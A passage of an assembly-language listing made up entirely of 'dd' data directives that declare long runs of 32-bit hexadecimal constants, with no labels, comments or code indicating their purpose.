		dd 0A9B42D9Ah, 3482AA33h, 2BC4B8E4h, 4F663915h,	0C1AB78F9h
		dd 0EEEB17B1h, 5F322C4Bh, 0B30C5494h, 39DAE1A6h, 0A69E8A7Eh
		dd 0A50D4470h, 0DC65D0Bh, 0B20348DDh, 14A202F3h, 1A8AF646h
		dd 12C39B30h, 6E166210h, 79161680h, 0ADE70BAAh,	0A9323882h
		dd 427BE28Ah, 0F7311C1Dh, 0B664CF53h, 79464291h, 0FFEDBE3Ah
		dd 38AC6CBAh, 0ACCB5CB7h, 969CD0DCh, 0A77061F1h, 1BECF922h
		dd 0FD48969h, 0E67D38EFh, 93A68F7Fh, 8F01F323h,	80596BB4h
		dd 0B5616D7Bh, 0BA0873AEh, 96A5DAEh, 4F0E63A6h,	0C1B709A1h
		dd 0A56A6A00h, 0AD7A6C2Dh, 2ACDD47Dh, 23D8D44h,	5C7E5FFAh
		dd 3656017Eh, 42BC4D55h, 0D825F6A0h, 315DF79Eh,	8664A0DFh
		dd 0E4CC3818h, 6C9168EEh, 0DEE2ACB0h, 649A1ECDh, 0D0DAE369h
		dd 2DFE38F8h, 5B96474h,	8E05CF9h, 90FF6FB8h, 2EC51AA3h
		dd 1FB60C3Dh, 280E616Dh, 5BEC5FC7h, 0F2A30972h,	0DC176379h
		dd 0F521C4DEh, 4EC4AF3Dh, 0E9E89B20h, 2BAEEF50h, 0A1BD7681h
		dd 38B561F8h, 0B7777907h, 0D6A0EA04h, 3605683h,	13953BAEh
		dd 6277FF0h, 6960C47Ch,	9AD2BD4Dh, 64F5DD34h, 0A74EE88Fh
		dd 5D6DB064h, 2876FDD3h, 0BA63B879h, 5E093DE2h,	1762212Bh
		dd 0EB48CF77h, 94A8619Bh, 6F78C445h, 241FC7Fh, 0D0509443h
		dd 0EA8C6D50h, 4969058h, 7F4F58AFh, 2FEF445Eh, 83068837h
		dd 0EF2DC2BDh, 7B935BEh, 636CFD4Eh, 0F1A64E0Ch,	9DB975C4h
		dd 0E5F3E63Dh, 50B2E694h, 684AFC51h, 17BB5DEBh,	0DE6970D1h
		dd 3F6BDC8Ch, 25E5BC13h, 0DEF6A13Bh, 264CCA8Bh,	0BA5E4D8Eh
		dd 1C9C9A92h, 884494BDh, 6FED8106h, 0DA275FEDh,	6867226Fh
		dd 0B249CF38h, 9448EEBCh, 0C196B209h, 7029F03Fh, 0A5663B64h
		dd 0BD5591E1h, 0A006BCD5h, 38F704DDh, 3CAA2D4Eh, 1A5AA489h
		dd 0FB22AD59h, 0A54CF5A5h, 0C013CB1Ah, 0AB678330h, 0B8ADC7CCh
		dd 0B41F9E67h, 695F1BD2h, 830D1014h, 9C8A282Fh,	98E941EDh
		dd 9D1C51EBh, 60BCBA09h, 0C0ED67Bh, 76D90D87h, 0AE5E1A50h
		dd 0B8266C4Ch, 13F30E09h, 9926B6E7h, 0C012A134h, 0AE490318h
		dd 474102C1h, 7F72B107h, 999C0F02h, 22866C15h, 0C8A943B7h
		dd 757CD466h, 65A2E2E8h, 0C31EBE8Eh, 77EA9CCFh,	651516E3h
		dd 3923437Ch, 0E021FA7Dh, 3405B2ABh, 1E8AA192h,	211740ADh
		dd 4F357CEFh, 0A88492E7h, 7F0087F9h, 25AE9F05h,	3234EDF6h
		dd 8F08F0FAh, 4EC5413Ah, 3F59EBADh, 0F702C68Ch,	0F6B15BE5h
		dd 8E3B275Fh, 6166CFADh, 0A2330427h, 0F96B9A6Bh, 0D02DE938h
		dd 133BDFFh, 8E161666h,	0D7293216h, 453D75A1h, 197FC894h
		dd 0BE9D5441h, 0F222FF13h, 18658281h, 71A4BC94h, 610CDB43h
		dd 0D3DD6B75h, 53198823h, 0FD5AD7CFh, 15A76AA1h, 0B2AF70A7h
		dd 0AC43C6B7h, 7BD7F514h, 0FABA1348h, 4FC9936Ch, 0E27F1C3Bh
		dd 500CDE09h, 0DAA2A460h, 898671DCh, 0A66B442Fh, 0C39D392Ch
		dd 7B072EA2h, 417C166Dh, 3E6FAE7Eh, 2DD8866Fh, 0D2BB66E4h
		dd 0F4F79E13h, 2F975844h, 0C5289597h, 2ABB26A9h, 35B55FC4h
		dd 0BCD1BC83h, 61A70DAFh, 0E2837C27h, 298CE3D1h, 0A948CB45h
		dd 0D59C70CCh, 0C33BF140h, 31606244h, 25E73AF4h, 5B63589h
		dd 477FAAB9h, 18D767Fh,	44140747h, 0BEAB707Bh, 0C5948877h
		dd 515EEB43h, 6C0B41FAh, 91D35B3Ch, 0EE1F96D4h,	0D71AECABh
		dd 3C69EF2Dh, 0CE12DE76h, 0C9F752A1h, 0D515357Eh, 0D33A10AEh
		dd 0BDA63A9Ah, 0A4E9991h, 987D3238h, 911C1859h,	0B2B396F8h
		dd 3064A455h, 2C17BFABh, 1ECF04D9h, 0CD513000h,	67CC0C9Eh
		dd 77686B2h, 8ECF36ACh,	8D432A10h, 0D47CF89h, 0EBD77497h
		dd 0A9103A32h, 327A287Eh, 82CBA332h, 258A5AC9h,	7CC7E28Bh
		dd 2309A4C2h, 711D664Ah, 0CEB3482h, 0C60CD80Ch,	2775013Eh
		dd 35C91A5Ah, 0CE3D9Ah,	4B2648Ah, 624B8D0h, 5EA4AB41h
		dd 7E42864Eh, 984E7A7Eh, 496C9CABh, 7458636Ah, 0E17534F3h
		dd 882B71E7h, 7D8B99C9h, 0C8FD5FCFh, 812D4511h,	0EF93822Ah
		dd 4C5B5208h, 247B80ABh, 3614C36Bh, 0E2609B8Fh,	9A3A8770h
		dd 4617F5FBh, 496282B0h, 0E819790h, 418A8931h, 4D361FD6h
		dd 0A05FFA1Ch, 163635Fh, 6BCD966h, 2CABF674h, 1485E5C2h
		dd 9FA2BC57h, 52C452ACh, 0DD2675C3h, 7A5BAAEDh,	4AB51D6Ch
		dd 0F642E4A7h, 19A11CCAh, 95734ED4h, 6BC70F89h,	0A575367h
		dd 0B995336Bh, 5AEF7937h, 95B8AE83h, 956E800Ch,	31D36B44h
		dd 0FD4B1A3Ah, 0A31007F6h, 2A54C26Fh, 0E24D4817h, 3EEA5772h
		dd 628284C4h, 90AF5AE6h, 0C4147571h, 8AE226C2h,	0FE32FE76h
		dd 0C0EA7150h, 2309DC09h, 7098316Bh, 0F6922BE5h, 0EDC2E51Fh
		dd 0B7AC31FBh, 428EDCDEh, 0C2F1A1D1h, 0C72CE63Ah, 9CC773B8h
		dd 2D8F7C0h, 5F4A297Ah,	0ABA0217Dh, 430A65C9h, 0F6972DFDh
		dd 0D75E9B9Fh, 72F14753h, 0E1193C31h, 269C9DDCh, 0C8020A72h
		dd 0B23AA038h, 94188345h, 0C786230Dh, 16482CC3h, 642400E4h
		dd 10583591h, 2FC902C9h, 0A8FF71DBh, 4D47C96Ah,	83BA69C0h
		dd 4E7F8A58h, 0D1BAE897h, 0D91791E4h, 12BB9DCEh, 0B137B357h
		dd 275CB218h, 8C06A17Ah, 0AE494C4Fh, 13BCB6C9h,	137803B7h
		dd 0C99082B5h, 6F42EA1Ah, 3578556h, 0A0E96AD8h,	3789E18Eh
		dd 1F343381h, 0B184DC60h, 61EC0FBDh, 6B3F78Bh, 54B3F62Ah
		dd 0B1FAEACh, 7934E475h, 4ACBD81h, 0B7E4147Fh, 0F955A0A8h
		dd 0BFDB3F46h, 40A7AAB7h
		dd 75B87929h, 1C6FAF4Fh, 0E4DE39E2h, 66009AEAh,	0D320F01h
		dd 1D06A91Ah, 404273F8h, 0B80675B9h, 0F935D85Dh, 0F4753569h
		dd 52D569DFh, 0CB0234FAh, 47224EF0h, 32CFD23Bh,	0F478AA83h
		dd 0DD7C90F3h, 57F6E3CEh, 4AD2FA37h, 0A45051CCh, 5E17FDB9h
		dd 4477616Dh, 0DA6E7812h, 0C061084Ch, 36639F75h, 0F6734358h
		dd 0A3528AE0h, 8E1D1202h, 6DAA7DE7h, 283FAC1Eh,	0D41B2B08h
		dd 0ACDAD84Eh, 0D2834129h, 3FED6AD9h, 0DC0DECD6h, 0B1FACD55h
		dd 1A066AA2h, 5D8B1BFFh, 61E2202Dh, 0ACDE0B24h,	202A4475h
		dd 5AEC7397h, 64D43E4Eh, 0C6A820EEh, 0CA20EEAAh, 0E46594BEh
		dd 7A596DC0h, 4375BD5Dh, 5127B8EBh, 19A5C6E9h, 49998587h
		dd 3FC961EFh, 8AB60956h, 408E4344h, 8479499Ch, 64E49754h
		dd 0F212091h, 0A82F26D2h, 0E499DF0h, 5B73472Dh,	57D76246h
		dd 0A9A10147h, 0B8F88F0Ch, 7787F21Ch, 147329D7h, 0BA993AFEh
		dd 0F354B6C8h, 73BD4D45h, 7D423850h, 2877D4E1h,	3D0B73CEh
		dd 97E0BF3h, 0E498753Eh, 0CFA5DD2Ah, 0D0537EB3h, 6AB95355h
		dd 7D1EACE4h, 6610183Ah, 4F132B2Bh, 7290513Ah, 0B9577B30h
		dd 27238B6h, 7B91B698h,	66597A2Bh, 654C2E83h, 2EB57D5Dh
		dd 2136C22Bh, 3F8CA248h, 0BD449D79h, 67642DFAh,	44AA3BCCh
		dd 0F486E07Bh, 612BE8A7h, 3F9C27D6h, 0ECE7AC1Bh, 67098F70h
		dd 0A73D388Dh, 0AC284616h, 99C950C7h, 0F16FFA8Ah, 396F9E80h
		dd 5644CADDh, 79F1D708h, 0A10B4254h, 6AB2E05Bh,	209BA715h
		dd 0DC8588E8h, 0D59BE99Fh, 73CD6FD4h, 7B4A5635h, 23594E0Fh
		dd 65EE117h, 4DF44598h,	0E49BD156h, 32C04F3h, 0FDBA062Bh
		dd 4ED7AFD0h, 0DEB252FAh, 3EFBC9B1h, 8BFE2134h,	493983EDh
		dd 43801230h, 0E4295A6Ah, 0F5C097D4h, 0B8E432BCh, 31D887F7h
		dd 0EE1F5FBCh, 449D7C69h, 0D4B5A59Bh, 3D82BB4Dh, 536D2BE4h
		dd 38F8A6C3h, 0CCCA0B73h, 0C58A7DDFh, 0E11A63BBh, 0AAE5AD2h
		dd 7AE4B6FCh, 0F902DFC8h, 728FB950h, 0A8C13BD2h, 4ACFFA23h
		dd 0F455C1D8h, 0BF5FCE88h, 6588DE83h, 0FF113DEBh, 50C1ABE3h
		dd 0B916304Ah, 55464F5Bh, 0A314056Fh, 0E8A016FEh, 6C5E01B5h
		dd 1BE66976h, 0F4287DD1h, 914AB625h, 6B681751h,	0B69A28EFh
		dd 82EDBF57h, 0C8BA9CB7h, 3360C9C9h, 54D67031h,	0EAE027ABh
		dd 62062B99h, 7ECC7D23h, 7985058h, 7C3C6F7Ch, 0D292DD17h
		dd 0AA6E64FAh, 90FAF647h, 0F9BD4647h, 0A37F90C3h, 0CCBF7D12h
		dd 3C4652DCh, 0ECAA9EDh, 2E92D536h, 0B364FB10h,	2450D5B1h
		dd 6BA4DACDh, 9156F77Bh, 7E0BD444h, 3F8EF781h, 56F075DDh
		dd 20501D1Dh, 82EC123Ah, 9E52ADAAh, 93A71F1Ch, 9A174ED4h
		dd 0C72A94A4h, 746B38BEh, 43995861h, 218B224Ch,	0ED573CBDh
		dd 5B4F659Fh, 3AD45ABCh, 9700C65h, 307E0CCFh, 6E4BD062h
		dd 0E819A18h, 60C574D1h, 3309C0C6h, 0A884087Dh,	65572A3Eh
		dd 4F661EBAh, 679A6097h, 0E5122EE5h, 0BD6C1895h, 25C9DCF8h
		dd 16DDB476h, 586DF85Ah, 331896DEh, 0C2C39C1h, 6443456Fh
		dd 67B7274h, 833D7D27h,	80A86B0Ch, 95BF2B5Ah, 59870BBCh
		dd 9C713740h, 0FF04E7BDh, 0C5B90716h, 42723CD2h, 5E0FBD09h
		dd 0F454A5FCh, 0DC61B5F6h, 76D7BA9Ah, 0A539BD3Eh, 807F5355h
		dd 0B03A59D4h, 5DA4172Eh, 91759DECh, 0D2045193h, 4A165D11h
		dd 0F0CC7881h, 0F5D39135h, 0CD3EE950h, 8BF35DA9h, 9EBD3B43h
		dd 9750578Eh, 0D535CD65h, 49FA82E2h, 706EEE7Eh,	0D6E9195h
		dd 7950772h, 74C17B13h,	0D1B3CDA9h, 7B1BB3A1h, 1D038E0Ch
		dd 26C3F0B1h, 0BF3F390Eh, 0B642DCA4h, 0DB426AA7h, 99E1918Fh
		dd 2BCAF1F1h, 0C8556DB8h, 0DEED74C4h, 1A7D3804h, 78D72C1Bh
		dd 3841470Ah, 9907C32Bh, 4B7E1416h, 4AEFA47Eh, 2913E8A6h
		dd 51B46EB1h, 5AA02195h, 8C280936h, 55734142h, 0D40848Ch
		dd 0EC90B24Dh, 0AB705FA4h, 3C090F4Ch, 0F7A530F8h, 6204BBACh
		dd 64E79327h, 2DA9722Ah, 99876BF1h, 6894282Ch, 1C7740C0h
		dd 84708340h, 0A7ED72B5h, 0C800B822h, 0D3E26054h, 97B3E3AEh
		dd 616FC749h, 0C1F936CBh, 0A376D4F0h, 0E90D8D37h, 0E676D7A5h
		dd 0DCAC6F18h, 5ACB5E05h, 3ACFABFBh, 24A8537Bh,	91708DBEh
		dd 916A2A5Eh, 0AAAB8DA1h, 0DF559B42h, 42BDFAE7h, 77ADB106h
		dd 98DA1C52h, 96010ABFh, 210691C5h, 7442B409h, 45D07B0Ch
		dd 0E1FCAA8Bh, 0E241FC44h, 832FD7EFh, 0DC9075CDh, 0EEEBB86Eh
		dd 0AF6FE7B5h, 0BC7D6549h, 0DC23319Ah, 43C4974Fh, 5BC954CFh
		dd 2C6B9F6Fh, 0E1A1B18Eh, 0DE2D0EE2h, 1523E6B5h, 4CFF49D9h
		dd 9373D0CBh, 67F7B9C6h, 33C58138h, 65E3FBA5h, 0F80935B3h
		dd 0D0EB7420h, 70F97F6Ch, 0FCBC1B9Ch, 0D423713Eh, 0B3DABFCEh
		dd 0EE764F42h, 0E3456EC7h, 0B1E4472Fh, 417C2032h, 0BBEBD81Ah
		dd 86428182h, 1E362900h, 7556958Eh, 46BC1065h, 13303130h
		dd 587AF4CFh, 8E02797Eh, 0DD185B14h, 0A45E0535h, 23EE95F2h
		dd 0F56EE955h, 25AC5E3Bh, 83380ED7h, 0C348DCC3h, 0CC396F25h
		dd 4FE97559h, 0D60D4B95h, 3A9A04C2h, 0A75F4E31h, 498D0BD4h
		dd 88087ED5h, 79C0922Ch, 7ED1E072h, 4D5AF720h, 0F9DC5467h
		dd 5EE569FFh, 0A2C8C7CEh, 0D494616Ah, 0EDB5D46h, 1BAB8D61h
		dd 2EC689AEh, 59DB1A5Ah, 0FBBC66CBh, 0DDA4A60Bh, 45531729h
		dd 814FB186h, 8899261h,	0ECC34F5Dh, 5DECF46Fh, 3C419B01h
		dd 9BB0D7A6h, 0BB73B8B1h, 34BC13EAh, 4F645915h,	76F33EA9h
		dd 98E541E7h, 85EBDC5Dh, 4151CC85h, 0BA1753D1h,	0CC021CDFh
		dd 0DE5399F1h, 0A3E6EBD4h, 68D4A8DEh, 588BF823h, 27562340h
		dd 1F7C9F32h, 0C0D4E7CEh, 74138C21h, 323D01D5h,	3D98C36h
		dd 2DFC0064h, 1C776EB8h, 82D55C8Eh, 0E6EE1E40h,	0DE50E9A2h
		dd 0C42AEB84h, 0C87A27h, 83E5ED71h, 75786C00h, 88D8CEAh
		dd 3AC988AAh, 0D9AB8CA8h, 87166BD5h, 55B2C388h,	1E5152CCh
		dd 5762ECE0h, 17A3935Fh, 6B835CF6h, 1C588AA0h, 8D849D67h
		dd 33872830h, 19646502h, 0AD1F414h, 31A6F08Bh, 58904DAEh
		dd 86770A65h, 0A5B821B1h, 0A5C8959Dh, 0A1F39E68h, 0BF853C1Fh
		dd 0F60D706Fh, 2AAEC6C6h, 0F8FB2837h, 2061B8EDh, 13AD1C2Bh
		dd 4D5FE35Dh, 7F5E1D00h, 68F48937h, 3C5C2BBAh, 2CB376FFh
		dd 0A6715E81h, 32BC04F9h, 3642130Dh, 0ED803F67h, 0DE14729Dh
		dd 61077A56h, 0E45A467Dh, 6E0A40B0h, 9226EC0Eh,	0C1C99206h
		dd 242055F3h, 0DC7A8EBAh, 1FA3D154h, 0F727831Eh, 4E5E73D7h
		dd 7F9CC5D9h, 333DB0D6h, 74F38A67h, 3AEE516Dh, 0F7625F7Dh
		dd 5EE43607h, 30F8375Ch, 0F9CE51Ah, 70B96500h, 85D76AA6h
		dd 461ABFC6h, 0B0733062h, 0B27FC2B5h, 1884ABB4h, 9EF675ACh
		dd 75561FDDh, 0E4AFC4E9h, 0C7E1CE38h, 9504303Dh, 74E8B0F1h
		dd 27DA4A83h, 74F2A0F0h, 376C8C9Bh, 509C04A0h, 567DC602h
		dd 5A3D3F52h, 30FD745Ch, 0C8F923ACh, 50BEE356h,	69EE56A9h
		dd 622527B4h, 2C9B3C44h, 62532F5Ch, 3B398D35h, 0A5C18507h
		dd 68B6E3Fh, 43C5692Ch,	0FF23D093h, 0AF84A9BEh,	879F78C9h
		dd 0B3E9F886h, 63BF66A8h, 0EFE5E0ADh, 33AF399Ch, 8E55E88Eh
		dd 0F648BB6Ch, 0FE9545A5h, 81788225h, 0A4C94EE1h, 0F9D9ACC1h
		dd 0E1D5D7AFh, 991AE0BDh, 49E8E33Fh, 0CB705071h, 90C9E2D8h
		dd 0B0606112h, 63781249h, 1CEE1FE2h, 39253594h,	8FE3BF13h
		dd 88BE4587h, 2E927EE3h, 0D249C8B8h, 7E57847Ah,	779034Eh
		dd 5B6381CCh, 0E54F42B5h
		dd 0EF57DD0Bh, 1CC1C30Fh, 35777314h, 4F626C5Eh,	0CCF376CEh
		dd 0C0238AE2h, 70EC62CEh, 7CEF3A7Dh, 80C54176h,	1B79896Eh
		dd 8ADDB0C4h, 9720A5E5h, 0A387B9DAh, 0D2C0F5C7h, 0DEAFB22Ch
		dd 994AD436h, 29D7DA68h, 1A633392h, 210540C9h, 9090B8E4h
		dd 7E2BEE29h, 5F800270h, 0B7F36E9Ah, 0FD4B397Dh, 11DCFB5Ch
		dd 2B510AA6h, 7BF4495Fh, 845EC724h, 60147BC9h, 0F5401939h
		dd 0FBBC315Ch, 8699A085h, 32E3C509h, 2ABDCF6Ch,	552A84D9h
		dd 2AF63626h, 832AED0Ah, 0BF509484h, 0E50D5CA8h, 4FBE4A86h
		dd 5CB87534h, 0E00DDF23h, 0FBE21C31h, 0A0C7DC16h, 0B50533A3h
		dd 3706B87Dh, 819F5E96h, 0A2D2AC82h, 55A3F584h,	9AF40EF6h
		dd 6FC0D9BBh, 6853BF27h, 0C71B8B3Fh, 0D5723612h, 7D880445h
		dd 3F102657h, 759713E0h, 809A6869h, 0AD449068h,	0B7D3689Fh
		dd 20F199C4h, 0C0C4CB36h, 1FD9DCCFh, 0D3868305h, 0A8AC3D51h
		dd 0FD30783Fh, 2FAD6E44h, 0AC5802DFh, 3D7987BBh, 690252BCh
		dd 0BC13A63Ch, 0FA22AC8Fh, 0AF1F34A4h, 0AE7A7AEFh, 0BD7C1D8Eh
		dd 0F5144A32h, 0C4F1687Ah, 3B30187Ch, 69601FFh,	0D76A923Fh
		dd 74449C01h, 0C332507Eh, 8A6B6604h, 0F70C3692h, 0EAF7A14Ah
		dd 0F31C0BBFh, 81A4B833h, 928E96BEh, 0C12C66D9h, 22C88731h
		dd 53DA198h, 0C9EA2B41h, 3118E44h, 26677454h, 7CCF139Fh
		dd 81083069h, 996BF412h, 97D306F0h, 6976F406h, 8904FE85h
		dd 4416C69h, 0D849BE1h,	1BE8A653h, 0C86AEDF7h, 33AD05D0h
		dd 0DA282FE8h, 0F78C7AB0h, 0FDBB235Fh, 93E4D98Dh, 0BE236744h
		dd 0A151C055h, 0E08290B3h, 7016A3B8h, 0D38ED1Ch, 0D78153ABh
		dd 5E02C2B0h, 1FA9B2B0h, 85E3F7ACh, 0BB265889h,	60FB380Fh
		dd 64527D55h, 0B663E07Ch, 0BDA3E091h, 47A8D129h, 811263DCh
		dd 75E04755h, 1ECEDF28h, 3F837FC4h, 0FABEB59Ah,	63724866h
		dd 930E0CCAh, 0A4650D26h, 77A6E833h, 322D1C66h,	38CECC25h
		dd 5EFBADD0h, 4D6EAE48h, 0BE22759Bh, 0F4A448DEh, 3F73E4ABh
		dd 8089B48h, 7824E483h,	690C5E98h, 823A4D29h, 5FB2DFD5h
		dd 97F7C284h, 2A5F13AFh, 0BBB5DA4Eh, 1C84D992h,	5C59F64Bh
		dd 29789C11h, 2E0338D5h, 752AC020h, 543BEDF0h, 57D3A9BEh
		dd 5B3BB2B5h, 0CAA1C6B6h, 0EF2F3496h, 1CAE3F67h, 0BDA92B30h
		dd 0EEE66EE8h, 45173E84h, 0DEC3E865h, 0C699037Eh, 0B0A0E7CDh
		dd 70CCD572h, 88080B17h, 0F008D93h, 78295DFh, 996BC923h
		dd 8A4E5044h, 0DCABBBE3h, 0F50085FBh, 430ED6B1h, 0EB1D8355h
		dd 78AA4DCFh, 0CB7F257Eh, 40660C55h, 0DD22D8C1h, 7299500Dh
		dd 2A366E6Dh, 101FB722h, 1C4C8C35h, 0AFD6DF59h,	5DFECBA6h
		dd 0E496D478h, 0BF2132B1h, 63B333A0h, 8A20734h,	470FF208h
		dd 4D023894h, 8253A6E8h, 0C202D04Eh, 8C4B9943h,	0D7AD688Eh
		dd 0F651ECA0h, 0C807BE5Ah, 0FC3AB8C5h, 946BDCA2h, 0ED05998Eh
		dd 1D8E3E7Eh, 45CE468Ch, 99AFA8C8h, 11917A14h, 3E327AA2h
		dd 4A455504h, 0F50BB53h, 0FD8CF390h, 97BB7DDCh,	8CB4BA70h
		dd 0F2B3B0F7h, 87EB40D5h, 0AB9380ACh, 84B0A39Ch, 7B978CF2h
		dd 965787F7h, 0BB675F3Ch, 14EFCBEBh, 65763F75h,	0BC2A417Bh
		dd 85A9A57Dh, 0B98ECBABh, 0BAEBA80Eh, 0CC4BA2DFh, 0A21FE468h
		dd 0CF4824C0h, 7E117A07h, 0E7F0C720h, 0EF35948Bh, 132A7FB0h
		dd 0CABB3EBFh, 0FB80327Eh, 8F17D266h, 8DA3ABBDh, 2345FA62h
		dd 0F6E600F7h, 0FB472834h, 687CFB52h, 0C855F210h, 1C5E71DCh
		dd 0FFAC058Bh, 5E1D9413h, 0AB2A3C58h, 0DE3F84EEh, 0C77B80C0h
		dd 0DB4A9A88h, 8CE89C84h, 6AD0F46Ch, 0DD5963F3h, 762CD278h
		dd 0AE5E997Fh, 9987BC11h, 0BCA35FCEh, 6BF71336h, 8EA7002Eh
		dd 3DAA7C58h, 9C03F6E7h, 24CDCD18h, 0B64ECB5Fh,	26D8CA6Eh
		dd 488C359Fh, 5FF8941Eh, 411E4EC8h, 0EEE25332h,	37551C88h
		dd 31468A37h, 0C8F6F345h, 0BD27473Bh, 15C0D257h, 91EE529Ch
		dd 852A72E7h, 336872A7h, 6CB294CFh, 7BCD02E5h, 9A59978Bh
		dd 3B59C21h, 74AF110Ah,	0E85AA740h, 53608EDCh, 0C5A6B238h
		dd 0C9E5F602h, 0DB0E63D2h, 52057396h, 0B6527446h, 91AD9h
		dd 6C29A7AFh, 6340978Dh, 597F522Ch, 719884F5h, 0BE16F8E5h
		dd 0EC0A4781h, 592CC126h, 9C0905B1h, 43DEB753h,	3AC8ADE5h
		dd 0B9A07AC1h, 4A43AF5Eh, 0D97B6FA1h, 689F781Eh, 83E066F5h
		dd 2F3915B8h, 3A579D98h, 0E797D31Ch, 30C62BDAh,	305BB575h
		dd 0EB5F9B20h, 0B0A9E4D4h, 36B85A19h, 61F5507Eh, 39FC016Ch
		dd 660AF142h, 0F4FE2CD3h, 0ADA3D094h, 0B5F3D8F8h, 6820AF8Fh
		dd 9F5ED20Ah, 508F664Ah, 4B337F2Eh, 0B3ABF631h,	0A9EB229Fh
		dd 7A39B76Fh, 0FA48EDF2h, 54B639A3h, 51B4607Bh,	0D559648Bh
		dd 4070C874h, 81336895h, 0A78E3D09h, 0ECB800FCh, 64A19AB1h
		dd 659EDC27h, 6647E2D5h, 0DDE3F1D3h, 0D73F7CA8h, 0ACFB52D8h
		dd 0D7D905E8h, 4E63E2Ah, 3557B678h, 0DA96DB91h,	0C82B8F21h
		dd 4D578A82h, 0F31B1431h, 0EE7A037Bh, 44315144h, 397571CEh
		dd 7040506Dh, 3EC90F5Bh, 77B5B1DBh, 0C34EE1D1h,	0DDDBC980h
		dd 2742AB47h, 0D8EA85E0h, 54B2AB11h, 34024D21h,	0FA2E1A7Bh
		dd 2466B863h, 0EE11FB0h, 0AF5E1692h, 3209974Bh,	183B2DB9h
		dd 0E0444D63h, 0AECAF269h, 0E7490CF6h, 0E31E67BDh, 0F6B5BEEDh
		dd 531B5453h, 0F19037E8h, 124D426Dh, 0AF115518h, 72A0C57h
		dd 30953FCFh, 31537645h, 0FAB8D767h, 6A78464Fh,	99547DA3h
		dd 5EF5DC4Ch, 0EE873121h, 3108DF82h, 251E5E8h, 9564211Dh
		dd 0F5254A50h, 0DD0BD85Ch, 9AFC99ECh, 8AF7FC11h, 0BBD52D73h
		dd 36DA8221h, 8371A552h, 0D34D0112h, 998A496Eh,	1709572Eh
		dd 93B2949h, 9DA8525Dh,	18589C75h, 14C0994Eh, 1E3B2498h
		dd 40C52B56h, 101CCFDEh, 579B16FDh, 0BD6B2148h,	3FC0C558h
		dd 4602AD8Eh, 5946EB6Bh, 595CC1BBh, 0ABA79133h,	0BFF7BF39h
		dd 0F288C0EEh, 0F3806EA7h, 3B657AE0h, 88847DF0h, 3298BB37h
		dd 0A298C3C6h, 985D0990h, 4AFAFC1Eh, 459394F6h,	0E535A984h
		dd 0C82B492Ch, 27EEA131h, 8F287208h, 0BEA95DB2h, 80FA95ADh
		dd 1CBFCACAh, 0E4729A1Fh, 2DD26243h, 0D83D1452h, 59EC3BB4h
		dd 0DA7CD15h, 0A97794C3h, 4BB7AB3h, 7DC495D9h, 1083C9A2h
		dd 3EF51819h, 0C4DBCC45h, 46BA8ABDh, 3FD19B7Bh,	8D4AF555h
		dd 501D7B44h, 0D71F498Fh, 7FB1AF6Bh, 35E538Fh, 0EF6B68EDh
		dd 0CA30B01Fh, 0C76E1456h, 4B4CAEB3h, 37A7BA40h, 295A76C1h
		dd 0C11A5232h, 0C69E1FFDh, 7E4A27Dh, 57729702h,	78F5128Dh
		dd 15E9A5D1h, 0C45B2C3Bh, 5B3A1885h, 0CCE12D04h, 0C3398934h
		dd 3226084Ah, 49A66DB8h, 82F74D05h, 7BA04725h, 139EA00h
		dd 0CA5A6C09h, 0BDFB0D0Fh, 67554F6Ch, 312E8A10h, 0A306F708h
		dd 50B55DC5h, 0ACD9C8C9h, 0AE880405h, 3D03104Ch, 0F408DD51h
		dd 0F2FDE0EEh, 0D093AE4Bh, 672ABC1Ch, 38FECF8Fh, 6167171Eh
		dd 67842CBAh, 8B43019h,	3EB34DE1h, 1FF47560h, 49A495A4h
		dd 3FA78511h, 35B37F78h, 8DB74822h, 2DCFC6Bh, 0C2A2ADE5h
		dd 122F3552h, 38BAE860h, 8BFA7C77h, 5F63E9DFh, 0EC067494h
		dd 423B3CE1h, 29C77579h, 0A562FF66h, 862A12B6h,	245B4682h
		dd 591E48F1h, 0FCD5D3B2h, 0BBE6C6E7h, 2BF3F25Ch, 5955F835h
		dd 612624Ah, 0E87C7058h, 2B6E9D02h, 0D985AD2h, 0D5C74C6Fh
		dd 0FD2EC1FBh, 27B176CAh, 29934E22h, 31294FBFh,	9BBD5B99h
		dd 0E46D2883h, 0C6E1CAE9h
		dd 0CBCE6C7h, 9313DD1Fh, 0F4A6DCD2h, 0D9D77E30h, 55F6706Ah
		dd 2ABCA17Ah, 1DA20E61h, 13D9725h, 7CC4F34Eh, 343253B6h
		dd 9F19CCDBh, 0F0FEA387h, 59F9E2F7h, 0CD58FD7Bh, 10D99464h
		dd 12970924h, 0C43F9E1Dh, 31B7A8F6h, 89239233h,	0C4C733CEh
		dd 378ACF6Bh, 0A6383192h, 664537D3h, 6086F887h,	4440C318h
		dd 0F1C18876h, 0B400008Ah, 7EC50FCAh, 0F60B1925h, 7925A416h
		dd 9F4800A8h, 914B3F73h, 0D67E226Fh, 834A0976h,	9BF75A83h
		dd 0DE7B7E49h, 4FD71542h, 0A63DAC8Ah, 0F2723176h, 725BCF0Bh
		dd 0AE55B854h, 0A80B70A8h, 0EA3AD457h, 0F41607EAh, 0E688DD6h
		dd 95321C3Eh, 8AED9909h, 26098BF4h, 6E86A656h, 24B4EAE5h
		dd 70E5782h, 7B2BFCB4h,	0FA14F1B1h, 0E7ED55E6h,	0BDBCABECh
		dd 5310C09Eh, 88EE3C0Dh, 74852373h, 0D94046E6h,	9EF44BC3h
		dd 31788720h, 3234764Ah, 71802798h, 9838D482h, 33531E1Dh
		dd 0C7585F27h, 0C6CE82B1h, 0EC3CBDDDh, 20C8FC2h, 2DB861Ch
		dd 0C66B0A5Bh, 3394181Ch, 341FB904h, 0ECD7F6C7h, 0DA007B97h
		dd 0C382D14Bh, 0B1445257h, 0A12D6B78h, 0AB879F4Eh, 0B88AA26Ch
		dd 4F8D3D0Dh, 4B1DAEB3h, 0A80553ABh, 0B01D93E4h, 3F0E0A8Eh
		dd 3AC1C862h, 0FDC647EFh, 0D8755FBDh, 79554AF1h, 3A6209FDh
		dd 0E45C1758h, 0B2A3BF24h, 9625E938h, 0CF4B45F4h, 0F0969F73h
		dd 0E36D4CA9h, 0DDA81137h, 59D66A7Ah, 0FB8AA0ACh, 2B2515C4h
		dd 85D57438h, 5C52FB9Bh, 8C17729Fh, 0E764C701h,	1557CCA7h
		dd 146CA128h, 0AD8A5FABh, 0C56B7853h, 0D3840F0Ah, 0E5E2AFF8h
		dd 522E00AFh, 5869C367h, 0E8110DE3h, 0CC760C58h, 951C56B7h
		dd 95877C45h, 0B83E07B4h, 0A60355F3h, 212BD57Dh, 0FEEF2BFBh
		dd 0ED65517h, 0C09875E5h, 0A43B681h, 25B41534h,	52032CAEh
